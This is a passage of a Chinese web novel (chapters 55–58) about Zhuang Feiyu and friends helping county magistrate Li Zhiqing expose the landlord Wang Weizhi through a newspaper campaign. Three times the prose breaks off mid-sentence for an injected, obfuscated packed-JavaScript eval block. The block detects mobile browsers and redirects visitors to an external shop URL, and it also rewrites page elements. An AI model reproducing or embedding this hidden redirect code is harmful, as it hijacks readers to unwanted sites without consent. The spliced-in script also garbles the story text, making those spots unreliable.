北山鄢手一挥,素剑消失在手中。其余人连忙照做,几分钟后,轰隆一声,雷电落下,击中几米外的一棵大树。 许久后,众人面面相觑,庄非鱼嗡声道: “雷雨天气,咱还是不要御剑了吧。” 众人惊魂未定点了点头。 又淋了一会儿雨,等雷电散去后,几人环顾四周,找了个山洞,升起火来。 烤着烤着,庄非鱼忽然叹气道: “要是巧巧在,一定会说我们傻的。” 气氛一下子沉寂下去,许久,北山鄢揉了揉她的脑袋,问道: “为何遭遇雷电要蹲下呢?” “这样可以减少接触面积,减少跨步电压伤害。”庄非鱼回忆道。 “跨步电压是什么?”北山鄢继续问。 “跨步电压就是……要不我从雷电形成的机制开始说吧。”庄非鱼梳理思路。 “洗耳恭听。”北山鄢笑道。 李念儿和翟流云也跟着认真听。 半个时辰讲完,李念儿深深吐了口气,感叹道: “我们真是侥幸,捡回四条命。” “是啊,那么大一把金属。”翟流云比了个夸张的手势。 北山鄢亦道: “夏季多雷雨,往后御剑可要当心了。” 庄非鱼打了个哈欠,倒在李念儿怀里,泪眼朦胧道: “不如我们就在这儿睡一晚上吧。” “只能如此了。”李念儿搂住庄非鱼说,“睡吧。” 北山鄢和翟流云各自找了个地方,铺开外衣将就休息。 睡了一会儿,庄非鱼迷迷糊糊睁开眼睛,在脖子和脸上胡乱抓道: “有蚊子。” 没一会儿,脖子就被挠出道道红痕。 李念儿跟着醒来,抓住她的手道: “不要抓脸,哪里有蚊子,我给你驱走。” 说罢打开包裹,取出一柄绣着荷花的扇子,轻轻给庄非鱼扇风,驱赶蚊子。 没了蚊子干扰,庄非鱼继续闭上眼睛,沉沉睡去。 55. 法外狂徒 第二天李念儿起得晚,醒来看见庄非鱼盯着她。 她起身打了个哈欠,问庄非鱼: “看我做什么?” “看你好看!”庄非鱼理直气壮道。 李念儿连忙用扇子遮脸,羞涩道:“我不好看的。” 庄非鱼扒开扇子:“我说好看就好看。” 窗外雨声潺潺,昨个半夜停了一会儿,早晨又开始下了。 庄非鱼和翟流云去山洞门口接水玩。 望着他俩的背影,李念儿发愁道: “雨看上去一时半会儿停不了。” 北山鄢道: “昨日在半空中,我看见前方不远处有座城镇,大约步行半个时辰就能到,不如我们冒雨前行,进了城镇再做打算。” 李念儿颔首,朝庄非鱼和翟流云大喊一声: “阿云,小鱼,别玩了,我们出发吧。” 庄非鱼接了小半桶水,转身懵逼道: “下雨也要出发?” 李念儿回她: “前面有城镇,我们先步行过去。” 庄非鱼和翟流云一听,跑过来了。 几人收拾好东西,打着苏巧巧送的竹伞和花伞一并赶路。 走到城镇门口,庄非鱼望着自己光秃秃的伞柄,纳闷道: “苏巧巧送的什么玩意儿,风一吹连伞面都掀了。” 北山鄢在她身后给她撑伞。 几人身上都湿透了,庄非鱼拧了拧袖子,拧出一把水来。 她不经意抬头,看见县城门上三个大字: 【谷留县】 庄非鱼一下子兴奋起来了,她甩开袖子,指着上面说: “谷留县,是郦……黄阶平的谷留县!” “黄阶平?”翟流云想不起来是谁。 “郦府那两个生还者之一。”李念儿提醒他。 “没错,她是我的县令朋友。”庄非鱼深沉道。 “一个县令有什么稀奇的?”翟流云不屑。 “一个县令你还没有嘞!”庄非鱼怒锤他。 几人吵吵闹闹进了城。 路过街道,庄非鱼看见“木兰物流”四个字,想起她对郦之清的誓言,拽着北山鄢的袖子道: “灵衍,能不能借用一下你的木兰令,帮我一个小小的忙?” “什么忙?”北山鄢问。 庄非鱼嘿嘿一笑。 * 夜晚,郦之清正在熬夜处理政事。 窗户骤然打开,一阵狂风吹过,吹灭她桌上的烛光。 郦之清的眼前陡然一黑,她放下笔,低头去摸火折子。 忽然,她感觉腰间似乎撞上了什么东西。 “别动。” 背后传来阴森森的声音。 郦之清动作一停,她冷静道: “阁下深夜前来,是为了求财?还是有何冤情?” “都不是。”背后人桀桀笑道,一手向上,给她蒙上黑色的眼罩。 “既不求财,也不诉冤,阁下所求为何?”郦之清继续问。 “闭嘴,唧唧歪歪的!” 背后黑衣人粗声粗气道: “跟我走!” 郦之清一手伸向砚台,沾满墨水,在桌上画了个箭头的方向,一边踉踉跄跄跟贼人离开。 两人不知走了多久,走到郦之清手上的墨水已经蹭完了,那贼人方才松手。 贼人说: “摘下眼罩吧。” 郦之清抬手摘下,看见月光下,山坡上满地彼岸花。 她一扭头,庄非鱼正站在花前,笑盈盈望着她。 那日郦之宁摘得赌花魁首,她心中羡慕,庄非鱼安慰她,承诺会送她十盆彼岸花。 她当这是玩笑话,没有当真,怎料再次相见,彼岸花开满山坡。 郦之清看了好一会儿,眼眶渐渐红了。 她抬手擦掉眼泪,感动又神伤道: “你这样,让我以后怎么嫁人?” 庄非鱼不忿道: “什么嫁不嫁人的,我好不容易才找到盛开的彼岸花,至少也要给我个抱抱吧。” 郦之清一把抱住她,过了一会儿,眼泪沾湿她的衣裳。 庄非鱼拍拍她的后背,安慰道: “最近过得好不好?” 郦之清哽咽道: “不好,哪里都不好。” 庄非鱼心想:郦府遭遇变故前,郦之清还没满十五岁呢,一个小姑娘无人提点,只带着一腔孤勇上任谷留县,面对官场的尔虞我诈…… 肯定过得很艰难。 她对郦之清道: “朝廷开了女试,凡年在十六岁以上的姑娘都可以参加。我们去盛京参加考试,不必再借着黄阶平的身份了。” “我听说了。”郦之清擦擦眼泪,“只是县里的事务实在放心不下。” “你报个猝死,让新县令来接任呗。” 庄非鱼心想:衙门常年调任离任,程序早已纯熟,不至于离了谁就不转了。 郦之清道:“我手头还有两桩事未完。” “什么事?”庄非鱼问,“我这次可不是一个人来的,还有几个处理公务的老手呢,说出来我们给你参谋参谋。” 郦之清道: “一桩是近日大雨连绵不绝,恐伤稼穑,需得上报汛情,提醒乡民;第二桩则是陈年旧案了。” 说罢,她叹了口气,那张俊秀的脸上,露出伤感的神色。 “什么旧事?”庄非鱼随口问。 郦之清正要开口,庄非鱼忽然伸出一只手指,阻到她唇前: “不急,等明天见了我的小伙伴再说。” 第二日仍是阴雨。 北山鄢三人离开客栈,不疾不徐来到县衙。 路上李念儿愁道: “雨天御剑不成,坐马车又太远,恐怕回去难了。” “事已至此,挨训是免不了的。”翟流云搂住她的肩膀安慰道: “那就顺其自然,享受旅程吧。” 李念儿一把拍开他的手,朝四周羞涩地望了望。 庄非鱼昨晚是在县衙睡的。 第二天醒来,她伸伸懒腰,自顾自去洗漱。 郦之清现在虽是男子,却还保留着当姑娘时的习惯,刷牙的柳枝悬空搭在水杯上,两条帕子一个擦脸,一个擦手。 给庄非鱼准备的也是如此。 北山鄢几人已在门口等着了,庄非鱼快快洗漱完,带他们去找郦之清,刚踏进办公房,就听衙役来报: “禀大人,王大善人邀您去芳香楼一聚。” 郦之清道: “我稍后过去。” 抬头看见庄非鱼时,脸上瞬时浮现欢喜的神色。 她搁下笔,起身向众人问好: “李大人,翟大人,还有这位……?” 她心中踌躇,想唤太子殿下,又怕一声叫破,扰了殿下的打算。 “唤我灵衍便可。”北山鄢微笑道。 他目光微微扫视一圈,见房内公文与书本堆积成山,却没几样值钱的摆设,料想这是个穷官。 再仔细一瞧,发现房内书本多与律法相关,尤其桌上那本《大熙律》,几乎要被翻烂了,上面密密麻麻夹着无数注释短纸。 心下便知:有律法相关的案子困住了他。 他抬眼,果见郦之清一脸愁容道: “王巍之,唉。” “王巍之?”庄非鱼略一思索,想起那日听沧州官员说的话,道:“咱们跟上去看看,看这王巍之是何方神圣!” 她冷笑一声,将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13290031|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭在残刀缺剑上。 北山鄢覆手于上,微笑道: “举人若有罪,当交于官府处置。” 庄非鱼悻悻看了他一眼,松开刀剑,反手牵住他的手。 郦之清带几人来到芳香楼,王巍之已经等候多时。 他看到北山鄢时,眼睛一亮,发现是个男的,顿时索然无味,转头望向庄非鱼。 他用审视又淫邪的目光,将庄非鱼从上到下扫视一番,直到北山鄢上前一步挡住,才遗憾地收回目光,对郦之清道: “黄大人,再查下去也没必要了,王某自罚三杯,这事就算了了。” 说罢举起酒杯,遥遥一敬。 郦之清俯身,盯住他的眼睛,轻声道: “十条人命,自罚三杯,王大善人,这合适吗?” 王巍之皮笑肉不笑道: “黄县令这是要与王某做对到底了?” “不是我要和你作对,是律法不能放过你。” 郦之清用清正的眼睛盯着他。 “那就看看,律法治不治得了王某。” 王巍之扔下酒杯,哈哈大笑着离去。 酒宴还未开席便不欢而散,郦之清索性坐下,招呼众人: “诸位大人还未用餐吧,难得有这样的宴席,都坐下吃点吧。” “是哦,不能浪费。”庄非鱼跟着坐下。 她吃了两口,撂下筷子问: “十条人命……是怎么回事?” 郦之清长长一叹,颓然道: “王巍之,王大善人身上至少沾了十条人命,可律法却奈他不得。” 北山鄢一听,放下筷子道: “有何不得?细细说来。” 郦之清撂下筷子,起身道: “言语无力,我带诸位亲眼看吧。” 几人也没了吃饭的心思,跟着郦之清起身,等她喊了一声: “打包。” 便替她提着未动筷子的餐食,一路来到县衙大牢。 踏进大牢,庄非鱼眯起眼睛,适应陡然降临的黑暗。 待她睁眼,看见牢里阴森森的,满墙的污渍、难闻的臭味,还有地上未干的水渍。 郦之清却毫不在意,大踏步进去,走到第三个监室,将手里打包的饭菜放下。 监室一下躁动起来,人人都在呐喊,磕头,声音最大的是第三监室的人。 那里关着两老一少三个男人,边磕头边哭喊: “大人,求求您别再查了。” “举人老爷心善,都是我们这些贱皮子诬告,我们不告了,不告了。” “王老爷是方圆百里难寻的大善人,您放过他,也放过我们一家子。” 郦之清蹲下,和那张脏污的脸上,麻木的眼睛对上。 她问:“小欢的公道呢?” 男人流下一行泪,许久说: “是她命贱。” 郦之清说:“你们认了,我不认,我要亲手还无辜的人一个公道。” 随后起身,离开。 身后传来声嘶力竭的哭喊: “求您别查了,您查了三个月,查的我们家破人亡,查的我们一条活路都没有了,您这是要逼我们去死啊!” 直到走出监牢,站在阳光下,声音还在回响。 在每个人的心里回响。 郦之清望着阴沉的天空,深深吐出一口气,对庄非鱼道: “这家女儿被王巍之的书童玷污了,他们告到衙里想要个清白,结果第二日,王家佃租涨了三文,愤怒的乡里人扛着锄头,打死了他家女儿、儿子和堂兄弟。我怕再出人命,便将他们暂时关押了。” 她说: “害人者不认,受害者家属亦不认,我翻遍《大熙律》,竟找不到一条足以偿命的律法。” 56. 回除魔司 庄非鱼张了张口,道: “乡里人杀人既遂,王巍之的书童奸污无辜妇女,这很明显啊。” 郦之清道: “那日扛着锄头杀人的,是整个村子的人。” “受害者家属不能指认吗?”翟流云问。 郦之清苦笑道:“他们恨不得跪到王大善人门口,求他原谅。” “可有其他证据?”北山鄢问。 “有物证,可小欢家人不认它。”郦之清继续答。 现在情况变成了: 小欢被玷污一事,死无对证。 乡里械斗,恰巧打死他家三个人,族里推出一个六十岁掉了牙的老汉,说其是主谋,可为死罪;另有两个路都走不稳的老汉,说是从犯,可判重刑。 郦之清是个善良的县官,一看便知这是被推出顶罪的,不忍笞杖,照原样送回去了。 郦之清道: “我之所以咬着王巍之不放,是因为同样的事,不止发生一次了。” 他手上滴血不沾,却害了十条人命。 北山鄢继续问: “未向州郡上报过吗?” “怎么没有?”郦之清苦笑道,“第一次上报,全无回应;第二次上报,有黄家亲戚找我说:凡事适可而止;第三次上报,上官将我叫过去申饬一顿……” “沧州官官相护竟到如此地步?”李念儿心惊。 庄非鱼沉思道: “不如这样,我今晚潜入王家,将王巍之和他书童做了,再将他们脑袋挂到城头上,下面贴张纸,写上他这些年犯的罪。” 她顿了顿道: “法律不给公道,我们给。” 说罢手又搭上残刀缺剑。 北山鄢再一次按住,低声道: “杀了一个王巍之,还有张巍之,李巍之,你杀的完吗?” “那你说该怎么办?”庄非鱼问他。 北山鄢微微垂眸,问郦之清: “你知道报纸吗?” “当然知道……您的意思是?”郦之清似乎摸着些头绪。 “将本次案件,以及你对当前律法的质疑写成文章,投到《大熙旬报》上,自会引起舆论。舆论有多大,就能杀掉多少个王巍之。” 他微笑看着郦之清。 郦之清彻底了悟,她深深拜下,仰头看着北山鄢和庄非鱼,坚毅道: “定不负诸位所托。” 天色放晴了,但就连李念儿这样爱岗尽责的人,都没有说要回去。 他们都想留下来,看看王巍之的下场。 看一个小小的七品县令,能否撬动沧州官场这样的庞然大物。 郦之清写文章几近疯魔,庄非鱼知道北山鄢精于此道,有心叫他帮忙改改,北山鄢却道: “这是她自己的坎,得自己来迈。” 庄非鱼白了他一眼,但觉得他说的有道理,便没再提。 几人心中焦急,身体却彻底闲了下来,整日在县衙遛弯。 今日顺着声音,晃晃悠悠逛到后院。 后院,郦之宁已经骂了好几天了。 她叉着腰,中气十足骂道: “黄阶平,你个没种的蔫蛋,快放我出去!” 郦之清派来陪侍的衙役道: “那是郦家三小姐,她吵着要嫁给王举人做填房,大人不得已将她禁足。” 庄非鱼一看,乐了,她径直步入后院,似笑非笑道: “郦之宁,好久不见?” 郦之宁一见是庄非鱼,立刻偃旗息鼓,乖巧道: “小鱼姐姐好,你怎么来啦,我姐……表哥怎么没有好好招待你?” 北山鄢随在后头,抬头和郦之宁对视一眼。 郦之宁连忙跪下,喊了声“殿下”,双目含情脉脉瞅着北山鄢。 庄非鱼连忙站直,挡在北山鄢面前: “喂,你眼睛往哪看呢?” “看看而已嘛,又不会少块肉。”郦之宁嘟囔道。 北山鄢笑了笑,抬手示意她起身。 庄非鱼故意激她:“你不是要嫁给县上那个四十多岁的老跛子吗?还看别的男人做什么?” 郦之宁连忙反驳: “怎么可能,我只是,只是,只是看他可怜罢了。” 听到庄非鱼话里的贬低,郦之宁心里不舒坦了。 她正当婚龄,以前看到王巍之时,觉得他是县里身份最高的,连县令都拿他没法子,嫁给他正合自己的身份。 叫庄非鱼叫破后,她现在想到王巍之,又觉得这人年纪大腿又跛,哪哪都不好。 “你别听下人胡说,我没有要嫁给王举人!”郦之宁连忙和王巍之撇清关系。 “好吧,”庄非鱼又加一把火,“我就说嘛,以郦三小姐的品味,怎么会看上这种矮矬穷。” 李念儿和翟流云在一旁低笑,郦之宁听了本想发火,转头却看见翟流云那张玩世不恭的俊脸。 她低下头捻弄衣角,扭捏道: “那位公子是谁?家居何处?可曾入仕?” 翟流云连忙抓住李念儿的手道: “你别乱看,我有未婚妻了。” 郦之宁遗憾道:“好吧。” 心里嘀咕:怎么能看上眼的男人都有主了? 都怪郦之清,自己在县衙翻云弄雨,放她在后院蹉跎人生。 大好的年华,连个相配的男子都没有。 郦之宁扯住帕子,噘嘴想着。 * 王巍之事件的始末,郦之清早就烂熟于心,提笔写成后,连忙递给北山鄢几人看。 庄非鱼趴在桌前,和李念儿、翟流云一齐赏评。 看完后,庄非鱼锐评: “我觉得很完美!” 李念儿感叹道: “这样的才华,不该屈尊于县令啊?” 郦之清答:“大人谬赞。” 翟流云戳了戳庄非鱼,道: “小鱼,为何你的朋友写文章都这么好,唯独你……” 庄非鱼转头看他,假笑道:“我可不是所有朋友写作都很好的,比如你。” 翟流云西子捧心,有被伤到。 待他们三个看完,北山鄢拿起文章,一目十行看过去。 看罢,他指着开头道: “引用古时律例不要局限于一朝一例,不如从秦开始,依时间捋下来,详述历朝相关律法较上一朝代的进步之处,和较下一朝的不足,依此提出此案在律法方面的局限,应改进的方向……” 郦之清连连点头,拿回去继续改。 连着改了四五稿,直至改无可改后,她将文章誊抄一份,寄到驿站。 庄非鱼熟练地排出五六文大钱,告诉小哥: “这个文件很急的,麻烦送快一些。” 小哥见她和郦之清穿得富贵,满脸堆笑着答应。 李念儿在门外等着,等她们出来,对她们道: “驿站的速度实在……经常还会丢信。” 她摇摇头,露出一言难尽的表情。 “不如我们现在回盛京,把信捎回去?”庄非鱼思索一下,问李念儿。 “这样定然快过驿站。”李念儿答。 恰好今日天气晴朗,万里无云,适合御剑飞行。 几人说走就走。 临走前,庄非鱼悄悄对郦之清说: “女试在十一月份,你安顿好县里就假死脱身,别拖得太久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297192|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 郦之清不断答应,依依不舍拉住她告别。 北山鄢回望了郦之清一眼,道: “女试或许会提前两月,记得早做准备。” 郦之清悚然一惊,望着北山鄢,呐声道: “您,您知道我是……” 李念儿笑道: “大家早就看出来了。” 北山鄢道: “朝廷正缺熟知律法的人才,此文一登,姑娘往后定能鹏程万里。” 郦之清跪下,忐忑又激动道: “多谢殿下赏识,臣定会好好准备考试。” 庄非鱼朝她眨眨眼,牵着北山鄢的袖子,消失在云端里。 回到东宫,庄非鱼直接躺平,磨磨蹭蹭不去上班。 北山鄢换了身衣裳,出来问她: “为何还不回除魔司请罪?” 庄非鱼叹气道: “我不敢,周司丞那张嘴,能骂死鬼。” 北山鄢失笑,他过来牵起庄非鱼,道: “我送你过去,他不敢骂的。” “真的吗?我不信。”庄非鱼怀疑道,“他连掌印都敢打的。” “还有这等事?”北山鄢眉头一皱。 “是啊,大家都说他年纪大了,没前途了,人到更年期,看路边的狗都能骂两句。” 庄非鱼顺势站起来,想起苏巧巧告诉自己的八卦,觉得好笑。 “我随你去看看。” 北山鄢握住她的手,吩咐侍从轻车简行,一路来到除魔司。 打从他动身起,东宫就已派人通知除魔司。 听说太子殿下要来,秦小刀急忙招呼大小官员跑去门口跪迎。 没一会儿,东宫一行人到了。 侍从伺候太子下轿,怎料殿下下轿后,又转身面向车里,撩开帘子,伸一只手进去。 谁这么尊贵,要太子亲自去扶? 除魔司一众官员面面相觑,以为是陛下或者娘娘来了,心中更是紧张。 众人深深低头,用余光去瞟。 接着就看见他们熟悉的庄小鱼同事,握住殿下的手跳下轿来。 杜少卿眼珠子都快瞪出来了。 这个四十多岁的老头,心里满是震撼。 他暗想道:看这位庄姑娘平平无奇,没想到一连勾搭了郗大公子和秦掌印两位俊才。 郗公子脑袋不好,秦掌印刚还俗,两人一时被迷惑也就罢了,怎么连英明神武的太子殿下也和她扯上关系? 莫非此女内秀,有什么才华是自己不知道的? 杜少卿盯着庄非鱼,将她千百遍的琢磨。 周司丞更是满心迷惑。 他主管庄非鱼,知道这个姑娘家世拿不出手,文章写得狗屁不通,性格倔强认死理,脾气更是直来直去惹人心烦。 他有时甚至怜悯想着:要不自己发发善心,给她介绍自己二弟当填房,也算有个归宿。 没想到还没实施,她就不声不响,搭上太子殿下?! 上层权贵的品味已经变成这样了吗? 不不不,太子殿下不会有问题,有问题的一定是他自己,庄非鱼一定有什么特别之处能让人动心。 比如她……特别懒? 不不不,仔细看,她长得也不赖,虽然还没自家媳妇漂亮。 再仔细想想,她性格刚正不阿,为人随和有趣,心直口快有什么说什么,至少不用人猜。文章虽然写得马马虎虎,但进步飞快;家世虽然为零,但能以孤女之身走到除魔司,定是有些毅力的。 所以这个庄小鱼,还是有很多优点的嘛,自己以往太过挑剔,忽略她的美德了。 可悲的周司丞,就这样扭曲掉自己的认知。 57. 大熙旬报 北山鄢接庄非鱼下轿后,转身面向众人,招手道: “平身。” 待除魔司一众官员起来后,宫中差人来报: “殿下,娘娘请您过去一趟。” 他略一沉吟,对庄非鱼道: “我另有要事,就送你到这儿了。进去后好好做事,莫惹长官生气。” 说罢看了眼除魔司的官员,转身回轿。 庄非鱼向他挥手告别,回头一看,见往昔的同事齐齐盯着她,表情丰富,略显夸张。 她即觉得社死,又有些暗爽。 衙门惯会捧高踩低,她一进除魔司就是底层斥候,无品无级,往日没少受欺负,吃闷亏。 好心的同事经常带着怜悯神色,劝她尽快嫁个好人家;心眼坏的对有背景的人一副笑脸,转身对她颐指气使。 可恶!要不是贫穷,她怎么会受这等鸟气? 她含泪受了。 杜少卿揣着袖子走过来,小心翼翼问道: “小鱼,太子殿下怎么会送你过来?” “他好心眼喽。” 庄非鱼摊了摊手,犹豫问道: “我们这几天脱岗,要受什么处分吗?” “为救他人而离岗,有罪,但情有可原。”杜少卿沉思一下,问她:“写上一篇检讨,你看行吗?” “……行。” 庄非鱼犹犹豫豫回答。 虽然她不爱写文章,但根据以往经验,脱岗这么久,扣工资写检讨挨训斥都是免不了的,严重的甚至直接收拾包袱走人。 如今借北山鄢的虎皮,将此事轻轻巧巧揭过去,算是极侥幸了。 想到这里,庄非鱼有些难过。 对她来说关系生存的大事,别人露个面就解决了。 以往对她不假辞色的同事纷纷围上来,对她道: “小鱼,你会写检讨吗?不如我教你。” “写检讨有什么不会的?”庄非鱼一边往里走,一边回答。 “还是你们斥候部重情重义,也有本事,一过去就解决问题了。” “我们也没做什么。” “小鱼惯会谦虚,你看她和太子殿下交情不匪,愣是瞒着一句也不跟我们说。” “……” 庄非鱼推开热情的人群,跑到李念儿背后,对她道: “这儿交给你了,我回去写检讨。” 说罢一阵风似的跑走了。 李念儿擅长应付这种场合,她带着得体大方的微笑,对众人道: “小鱼刚回来,身体有些不适,诸位对案情有什么疑惑,问我好了。只要不涉及他人隐私,我尽皆告知。” 众人一听,知道李念儿也不会说,寒暄两句就散了。 * 往后几天,庄非鱼一大早就去书店蹲守,看最新的《大熙旬报》有没有出来。 直到这日她过来,听书店门口沸沸扬扬,讨论王某该不该定罪时,她就知道: 郦之清的文章刊登上去了。 庄非鱼高兴极了,她买了几份报纸,听了几句争论,连忙跑到除魔司,给李念儿和翟流云各自给了一份。 李念儿浅翻几页,惊喜道: “果然见报了。” “我早晨买饭时,听见群声哗然。有人认为王举人该判,可大多数书生觉得刑不上大夫,何况错是恶仆和佃户犯下的,问罪主人未免有些过界。” 翟流云递给两人一人一个茶叶蛋,自己也剥开一个吃了。 “根据阿清的话来看,王巍之并不无辜,只是没有证据而已。” 庄非鱼剥开一个茶叶蛋,扔进嘴里。 “没有证据就是诬告,苦主都未发声便借报纸暗示就是泼脏水。” 翟流云耸了耸肩。 “可报纸上用的是化名啊,如果争到最后大家都站王巍之,我们只能认了。” 庄非鱼扔掉鸡蛋壳,不明白为何站王巍之的占多数。 “认什么认?”李念儿敲敲她的脑袋: “舆论闹大后,巡按御史坐不住,定会去查王巍之,以他们的手段,很快便会水落石出。” 庄非鱼点了点头。 她不太懂这些,但听了李念儿和翟流云的话后,仍觉不足,想去外面听听众人的讨论声,一下班,便拉住北山鄢道: “我发工资了,请你去悬清楼吃饭!” 悬清楼离东宫很近,是个极雅致去处,饭菜做的也好,北山鄢经常带她来这里吃饭。 他搁下笔,轻装便服随庄非鱼去了。 两人一路走进悬清楼,庄非鱼一马当先,跑到柜台前问价格。 最便宜也要五十两银子。 庄非鱼的脸垮了下来,她摸摸口袋,那里装着自己辛辛苦苦八个月的工资——24两。 趁北山鄢还没走过来,庄非鱼赶忙跑回去,拉住他向外走。 “怎么不进去了?”北山鄢问。 “计划有变,我们去悬清楼——隔壁的书香小筑换换口味。” 庄非鱼心虚道。 书香小筑人烟鼎沸,进去一股热浪扑面而来。 庄非鱼肉疼地、花了三两银子点了桌菜,避开喧闹的人群,拉北山鄢找了个角落坐下。 书香小筑多是书生,他们三三两两拿着报纸,讨论新出的王某一案。 北山鄢容貌太盛,刚坐下就有人上来搭话: “这位兄台,往日怎么没见过你?” 北山鄢微笑道: “我是第一次来,听诸位在谈论……” “报纸上的最新案子,一王姓举人纵容恶仆欺凌佃户,害死十条人命。”一个青衣书生答道。 另一白袍书生听了,当即反驳: “陈兄此言差矣,那十条人命分明是村里人犯下的,怎么能算到王家头上?” “没有王家涨租暗示,村里人吃饱了撑着去杀人?” “照您这么说,往后地主都不能涨租了?” “我可不是这个意思,我说的是王举人借刀杀人,当罪!” 几人说着说着就吵起来了,其他桌的客人听了,忍不住围了上来,加入话题。 桌前被围得水泄不通,小二满头大汗,吆喝着“诸位君子让一让,让饭菜先进来”,却无人听他的话。 一片混乱中,北山鄢以扇掩面,朝庄非鱼眨了眨眼,轻声说: “下期旬报定要吵翻天的。” * 不出北山鄢所料,第二期旬报一半文章都是关于王姓举人的。 编辑贴心地选了对立观点的文章各三篇,加上两篇折中调和的观点,一时盛京哗然,不止书生,连菜市口买菜的老头老太都能说上几句。 底层人知道底层人的苦,不识字的乡野村民纷纷觉得王举人该死。 保守的建议判绞刑,激进的建议千刀万剐。 两方就“该怎么杀王举人”一事展开激烈争论,有书生听见了,连夜发文驳斥,怒骂乡野村民不知感恩、仇富仇官,王举人清清白白滴血未沾,在村夫嘴里竟十恶不赦了? 另有贫家书生走访乡野,问询一百七十多家佃户,撰写文章,提出地主之恶,甚于猛虎豺狼。 盖因猛虎吃人是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321498|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时之苦,而地主吃人是生生世世、世世代代无法逃脱之苦。 此文一出,更是将此事推上高潮,与此同时,郦之清进京。 今日恰好休沐,庄非鱼一大早就捧上花朵,去城门口等候。 天色微亮,城门大开,人群熙熙攘攘涌进来。 等了一会儿,一辆素朴的马车停下来,两张一模一样的美貌脸庞探出马车。 正是原模原样的郦之清,和复制粘贴她那张脸的郦之宁。 庄非鱼惊喜道: “阿清,你换回来了?” “不是换,是还原。”郦之清笑着跳下马车,“摄魂镜可以还原自己本身的容貌,我便试了一下,果然如此。” “真好看。”庄非鱼给她一个大大的拥抱,再将花束递给她。 郦之清伸手去接,庄非鱼却一缩手,从里面拿出一根热气腾腾的煮玉米。 郦之清高兴地接过去,递给郦之宁。 郦之宁却黑着脸,问: “为什么只给姐姐不给我?” “有有有,”庄非鱼又抽出一根煮玉米,“给你。” “这还差不多。”郦之宁哼了一声,接过庄非鱼手里的玉米,小口啃了起来。 借着机会,庄非鱼仔细看了看,发现两人虽然长相一样,但气质截然不同。 郦之清是一双丹凤眼,神色清正且疏离;郦之宁则是圆杏眼,眼珠一转,有古灵精怪之感。 马车里还有几个人,畏畏缩缩出来问好,郦之清介绍道: “这是小欢的家人,我怕王巍之对他们不利,便带到盛京来了。” 庄非鱼笑着伸出手,准备和他们握手,几个人却翻下马车,跪在地上道: “拜见小姐。” 庄非鱼的手悬在半空中,她愣了好一会儿,直到郦之清握住她的手,招呼跪下的几人起来。 来到这个世界这么久,庄非鱼还没有习惯给别人下跪,更不习惯别人对她跪下。 但她改变不了时代,只能装作看不见。 带郦之清和郦之宁租了房,放下东西后,庄非鱼准备带几人出来吃饭,顺便买几份报纸,让郦之清亲眼看看自己引起的轰动。 小欢的家人惶恐不已,死活不愿出来,庄非鱼无奈,只能带郦家姐妹出去。 路上不少人在谈论王举人的事,郦之清凝神听着,眉毛时而高高扬起,时而拧成一团。 庄非鱼调侃道: “如今盛京文坛,无人不知你郦之清的大名。褒贬不论,至少你火了,火得彻彻底底。” 郦之清白了她一眼,走进书店,顺手拿起一张报纸,看后愁然道: “我该早点来的,事情发展至今,已经演变成一场攻讦了。” 她指着报纸上【王举人何方神圣?】一篇,道: “王巍之是已故太府寺卿卢鸿林的门生,卢寺卿门生遍布天下,右相赵逢生便是他的关门弟子。此篇文章锋指赵丞相,这真是……拿我放在火上烤,我得回去写一篇澄清。” 说完就要回去。 “别急嘛!”庄非鱼立刻拉住她:“离下期旬报还有七八天的时间呢,先逛逛盛京,回去写也不迟。” 郦之清点头称是,心里已经在构思腹稿了。 郦之宁听到心里酸酸的,她阴阳怪气道: “还是姐姐厉害,写个文章都能引起轰动,这下不知有多少青年才俊要拜倒在姐姐石榴裙下了……” 郦之清转头,平平看她一眼,问: “昨日布置的两篇策论都写完了?” 郦之宁一缩脑袋,不敢吭声。 58. 女试风波 郦之清告诉庄非鱼: “阿宁也在准备女试呢。” “她?”庄非鱼不可置信道,“她比我还不学无术吧。” “你别小看阿宁,她记性可好了。”郦之清笑道。 “就是!”郦之宁做了个鬼脸。 庄非鱼沉默了。 敢情只有自己最菜? 今日衙门休沐,街道凭空增加了三四倍人,大家都打扮一新出来游玩。 三人出了书店,顺着人流向前走,一会儿买点糖画,一会儿买点酥饼,很快双手便提满零食。 一路上,郦之宁眼睛四处乱转,看见装扮美丽、一身华贵的女子,羡慕道: “她们真好看,像瓷器一样。” 庄非鱼笑道:“什么瓷器?你是没见过她们上班的样子。” “上……班?”郦之宁不懂。 “盛京的女孩大都会给自己找点事做,有本事的都拼着考女试,去衙门当值。” 庄非鱼随口回道。 郦之清听罢,憧憬道: “我们荔城可不许女孩子抛头露面。” 